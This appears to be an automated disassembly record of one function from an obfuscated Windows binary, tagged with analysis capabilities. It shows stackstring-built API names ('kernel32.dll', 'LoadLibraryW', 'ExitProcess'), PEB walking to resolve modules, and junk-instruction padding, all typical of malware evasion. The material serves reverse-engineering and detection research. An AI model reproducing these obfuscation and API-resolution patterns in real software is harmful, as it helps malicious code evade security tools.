Function at 0x6700660c
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
pop ecx
push ebx
push edx
add esp, 4
and ebx, 0x3de6
pop ebx
push ecx
push edi
add esp, 4
call 0x67006191
add byte [eax + 0x4f], al
inc ecx
aaa
cmp al, 0x33
dec edi
inc ebp
inc esp
add esp, 4
pop ecx
mov byte [ebp - 0x9c0], 0x45
mov byte [ebp - 0x9bf], 0x78
mov byte [ebp - 0x9be], 0x69
mov byte [ebp - 0x9bd], 0x74
mov byte [ebp - 0x9bc], 0x50
mov byte [ebp - 0x9bb], 0x72
mov byte [ebp - 0x9ba], 0x6f
mov byte [ebp - 0x9b9], 0x63
mov byte [ebp - 0x9b8], 0x65
mov byte [ebp - 0x9b7], 0x73
mov byte [ebp - 0x9b6], 0x73
mov byte [ebp - 0x9b5], 0
push ebx
push ecx
add esp, 4
sub ebx, 0xa4fe
add ebx, 0xa0c6
jmp 0x670061ff
call 0x6700620b
add byte [edi + edi + 0x42], al
push eax
inc eax
add esp, 4
pop ebx
push ebx
push edi
add esp, 4
xor ebx, 0xe9d6
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1a68], cx
mov edx, 0x65
mov word [ebp - 0x1a66], dx
mov eax, 0x72
mov word [ebp - 0x1a64], ax
mov ecx, 0x6e
mov word [ebp - 0x1a62], cx
mov edx, 0x65
mov word [ebp - 0x1a60], dx
mov eax, 0x6c
mov word [ebp - 0x1a5e], ax
mov ecx, 0x33
mov word [ebp - 0x1a5c], cx
mov edx, 0x32
mov word [ebp - 0x1a5a], dx
mov eax, 0x2e
mov word [ebp - 0x1a58], ax
mov ecx, 0x64
mov word [ebp - 0x1a56], cx
mov edx, 0x6c
mov word [ebp - 0x1a54], dx
mov eax, 0x6c
mov word [ebp - 0x1a52], ax
xor ecx, ecx
mov word [ebp - 0x1a50], cx
push esi
sub esi, 0x16a4a
sub esi, 0x5169
and esi, 0x179c7
pop esi
push edi
add edi, 0x5ee4
or edi, 0x12b18
call 0x670062e2
add byte [ebp + 0x44], cl
inc ebx
cmp eax, 0x8335444f
les eax, [edi + ebx*2]
push edx
push esi
add esp, 4
add edx, 0x307d
add edx, 0xf051
xor edx, 0x1740f
pop edx
push eax
push esi
add esp, 4
or eax, 0xde0b
add eax, 0x601d
pop eax
push ecx
and ecx, 0xb523
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2688], edx
mov eax, dword [ebp - 0x2688]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x268c], ecx
mov edx, dword [ebp - 0x268c]
mov dword [ebp - 0x18ec], edx
push ebx
push eax
add esp, 4
add ebx, 0x7c43
pop ebx
push ecx
call 0x6700635c
add byte [edi + 0x43], al
xor al, 0x45
cmp cl, byte [ecx + 0x3f]
inc eax
dec ebp
add esp, 4
and ecx, 0x8d0c
sub ecx, 0x14421
and ecx, 0x11c66
pop ecx
cmp dword [ebp - 0x18ec], 0
jne 0x6700638a
mov dword [ebp - 0x398], 0
jmp 0x67006646
mov eax, dword [ebp - 0x18ec]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xe98], edx
push edi
push ecx
add esp, 4
sub edi, 0x3c11
call 0x670063b7
add byte [ebx + 0x3e], al
push eax
inc esp
cmp al, 0x3b
inc ebp
inc edi
dec ecx
inc ebx
add esp, 4
call 0x670063ca
add byte [edx + 0x33], al
inc edx
inc edx
cmp al, 0x37
cmp byte [esi], bh
cmp al, 0x4f
add esp, 4
pop edi
cmp dword [ebp - 0xe98], 0
jne 0x670063e6
mov dword [ebp - 0x398], 0
jmp 0x67006646
mov eax, dword [ebp - 0xe98]
mov dword [ebp - 0x5c4], eax
push eax
push ecx
add esp, 4
and eax, 0x14c17
call 0x6700640c
add byte [edi + 0x4e], al
inc ebp
inc esp
xor al, 0x46
cmp al, 0x35
push eax
add esp, 4
sub eax, 0xef04
pop eax
push ebx
or ebx, 0x455
and ebx, 0x53b8
pop ebx
lea ecx, [ebp - 0x1a68]
mov dword [ebp - 0xe94], ecx
mov edx, dword [ebp - 0x5c4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe90], eax
xor ecx, ecx
mov word [ebp - 0x264], cx
xor edx, edx
mov word [ebp - 0x138], dx
push esi
push esi
add esp, 4
xor esi, 0xb798
add esi, 0x105d2
or esi, 0x10325
pop esi
push ecx
or ecx, 0x1479b
sub ecx, 0x31b9
pop ecx
push edi
push edi
add esp, 4
xor edi, 0x600a
pop edi
mov eax, dword [ebp - 0xe90]
mov cx, word [eax]
mov word [ebp - 0x12ae], cx
mov edx, dword [ebp - 0xe90]
add edx, 2
mov dword [ebp - 0xe90], edx
mov ax, word [ebp - 0x12ae]
mov word [ebp - 0x264], ax
mov ecx, dword [ebp - 0xe94]
mov dx, word [ecx]
mov word [ebp - 0x12b0], dx
mov eax, dword [ebp - 0xe94]
add eax, 2
mov dword [ebp - 0xe94], eax
mov cx, word [ebp - 0x12b0]
mov word [ebp - 0x138], cx
push esi
xor esi, 0x88da
pop esi
push ebx
push ecx
add esp, 4
and ebx, 0xd9e
jmp 0x670064f6
and ebx, 0x9ce7
pop ebx
push edi
push ebx
add esp, 4
xor edi, 0x13fde
or edi, 0x6c41
pop edi
movzx edx, word [ebp - 0x138]
test edx, edx
jne 0x67006532
movzx eax, word [ebp - 0x264]
movzx ecx, word [ebp - 0x138]
sub eax, ecx
mov dword [ebp - 0x18f4], eax
jmp 0x67006595
movzx edx, word [ebp - 0x264]
movzx eax, word [ebp - 0x138]
cmp edx, eax
je 0x67006451
movzx ecx, word [ebp - 0x264]
xor ecx, 0x20
movzx edx, word [ebp - 0x138]
cmp ecx, edx
je 0x67006451
movzx eax, word [ebp - 0x264]
movzx ecx, word [ebp - 0x138]
cmp eax, ecx
jge 0x6700657f
mov dword [ebp - 0x18f0], 0xffffffff
jmp 0x67006589
mov dword [ebp - 0x18f0], 1
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
cmp dword [ebp - 0x18f4], 0
jne 0x670065de
push esi
xor esi, 0x1616
pop esi
push ebx
push edx
add esp, 4
add ebx, 0xf01e
pop ebx
push eax
or eax, 0x6bb6
or eax, 0x116c1
call 0x670065cc
add byte [edx], dh
xor eax, 0x3c3f3b3a
add esp, 4
pop eax
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x398], eax
jmp 0x67006646
push ebx
push ecx
add esp, 4
xor ebx, 0xe3e9
add ebx, 0x906
pop ebx
push edi
jmp 0x670065f7
and edi, 0x30ce
call 0x6700660c
add byte [ebx], dh
inc edi
xor eax, 0x41323541
inc esi
inc eax
add esp, 4
pop edi
mov ecx, dword [ebp - 0x5c4]
mov edx, dword [ecx]
mov dword [ebp - 0x5c4], edx
mov eax, dword [ebp - 0x5c4]
cmp eax, dword [ebp - 0xe98]
je 0x6700663c
mov ecx, dword [ebp - 0x5c4]
cmp dword [ecx + 0x30], 0
jne 0x670063f2
mov dword [ebp - 0x398], 0
push edx
push ebx
add esp, 4
sub edx, 0x11e1a
sub edx, 0x90ba
jmp 0x6700665f
xor edx, 0xb673
pop edx
push edi
push ebx
add esp, 4
xor edi, 0x5720
add edi, 0x414e
pop edi
cmp dword [ebp - 0x398], 0
jne 0x67006f91
mov edx, 0x6b
mov word [ebp - 0x1ac8], dx
mov eax, 0x65
mov word [ebp - 0x1ac6], ax
mov ecx, 0x72
mov word [ebp - 0x1ac4], cx
mov edx, 0x6e
mov word [ebp - 0x1ac2], dx
mov eax, 0x65
mov word [ebp - 0x1ac0], ax
mov ecx, 0x6c
mov word [ebp - 0x1abe], cx
mov edx, 0x33
mov word [ebp - 0x1abc], dx
mov eax, 0x32
mov word [ebp - 0x1aba], ax
mov ecx, 0x2e
mov word [ebp - 0x1ab8], cx
mov edx, 0x64
mov word [ebp - 0x1ab6], dx
mov eax, 0x6c
mov word [ebp - 0x1ab4], ax
mov ecx, 0x6c
mov word [ebp - 0x1ab2], cx
xor edx, edx
mov word [ebp - 0x1ab0], dx
push edx
xor edx, 0xe462
pop edx
push ecx
sub ecx, 0x4f17
or ecx, 0x128bb
xor ecx, 0xfcc8
sub ecx, 0x8c7d
pop ecx
push esi
and esi, 0x5035
jmp 0x6700674f
pop esi
mov byte [ebp - 0xb0c], 0x4c
mov byte [ebp - 0xb0b], 0x6f
mov byte [ebp - 0xb0a], 0x61
mov byte [ebp - 0xb09], 0x64
mov byte [ebp - 0xb08], 0x4c
mov byte [ebp - 0xb07], 0x69
mov byte [ebp - 0xb06], 0x62
mov byte [ebp - 0xb05], 0x72
mov byte [ebp - 0xb04], 0x61
mov byte [ebp - 0xb03], 0x72
mov byte [ebp - 0xb02], 0x79
mov byte [ebp - 0xb01], 0x57
mov byte [ebp - 0xb00], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x2690], eax
mov ecx, dword [ebp - 0x2690]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x2694], edx
mov eax, dword [ebp - 0x2694]
mov dword [ebp - 0x18f8], eax
push esi
push ebx
add esp, 4
add esi, 0x10e2d
jmp 0x670067e6
pop esi
push edi
push esi
add esp, 4
call 0x670067fa
add byte [ebx + ecx*2 + 0x3b], al
dec edx
cmp ecx, dword [edx + 0x4e]
cmp eax, 0x8104c483
iretd
push edi
push edi
add esp, 4
add edi, 0x11feb
add edi, 0x14cf5
add dword [eax], eax
and edi, 0xfae1
add edi, 0x3675
pop edi
push edx
sub edx, 0xac93
pop edx
push esi
push eax
add esp, 4
sub esi, 0x17cb8
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x26b0], eax
mov ecx, dword [ebp - 0x26b0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x26d0], edx
mov eax, dword [ebp - 0x26d0]
mov dword [ebp - 0x1910], eax
push ebx
push eax
add esp, 4
invalid